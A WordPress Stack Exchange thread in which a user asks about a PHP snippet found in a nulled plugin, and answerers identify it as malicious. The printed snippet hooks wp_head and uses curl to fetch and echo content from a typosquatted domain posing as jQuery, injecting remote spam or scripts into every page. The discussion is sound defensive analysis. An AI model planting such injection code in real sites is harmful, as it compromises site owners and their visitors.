Take the 2-minute tour ×
WordPress Development Stack Exchange is a question and answer site for WordPress developers and administrators. It's 100% free, no registration required.

I found this in a plugin. What does it do? is it dangerous?

add_action('admin_enqueue_scripts', 'pw_load_scripts');
if (!function_exists('wp__head'){
function wp__head() {
    if(function_exists('curl_init')) { 
        $ch = curl_init();
        curl_setopt($ch,CURLOPT_URL,"http://www.jqury.net/?1"); 
        curl_setopt($ch,CURLOPT_RETURNTRANSFER,1); 
        curl_setopt($ch, CURLOPT_REFERER, $_SERVER['HTTP_HOST']);
        curl_setopt($ch,CURLOPT_CONNECTTIMEOUT,10); 
        $jquery = curl_exec($ch);  
        curl_close($ch); 
        echo "$jquery";
    }
}
add_action('wp_head', 'wp__head');
}
share|improve this question
5  
Which plugin is that? –  Daniel Aug 1 '13 at 2:09
    
Did you get the plugin from the official WP site? –  That Brazilian Guy Aug 1 '13 at 2:40
1  
This was in a plugin one of my customers wanted me to run on my network install. The plugin wanted to run this in wp-admin. After reading this i asked him where it came from. Its a nulled plugin from a torrent. The short answer was erm NO xXx –  Sofia Rose Aug 1 '13 at 3:52

2 Answers 2

up vote 14 down vote accepted

It loads a block of markup containing spam (I thought about posting a bit of the source but I don't want to advertise the content in any way) from a domain that is a close misspelling of the domain-- http://jquery.com/-- used by jQuery, a reputable and popular Javascript library and one that WordPress includes in the Core. I think the idea is to appear to be loading that library, when in fact loading something very different.

And it is in other ways attempting to appear to be loading jQuery. Notice the variable name $jquery.

It may attempt to load malicious scripts as well. I didn't check. I would definitely call it dangerous especially since the content on that page can change anytime the domain controllers feel like it.

At best it is going to damage your site as search engines look down on sites that spread spam.

Don't use it. It does nothing beneficial for you or for anyone else on the web other than the people who run the site. If you found this on a reputable site, report it to them.

share|improve this answer

Yes, it is dangerous code, loading content from a spam site.

You didn't name the plugin, but if you found this code after it has been installed on your website, it is possible that the plugin code didn't come from the developer like this, but instead was hacked after it was installed. If this is the case, you might find the malicious code on more of your website than just this plugin.

Check the downloaded plugin code from wherever you got the plugin originally, and see if this malicious code was there originally. If not, then your site has been hacked. If you determine that to be the case, read this article from the Codex.

share|improve this answer
3  
This was in a plugin one of my customers wanted me to run on my network install. The plugin wanted to run this in wp-admin. After reading this i asked him where it came from. Its a nulled plugin from a torrent. The short answer was erm NO xXx –  Sofia Rose Aug 1 '13 at 3:51

Your Answer

 
discard

By posting your answer, you agree to the privacy policy and terms of service.

Not the answer you're looking for? Browse other questions tagged or ask your own question.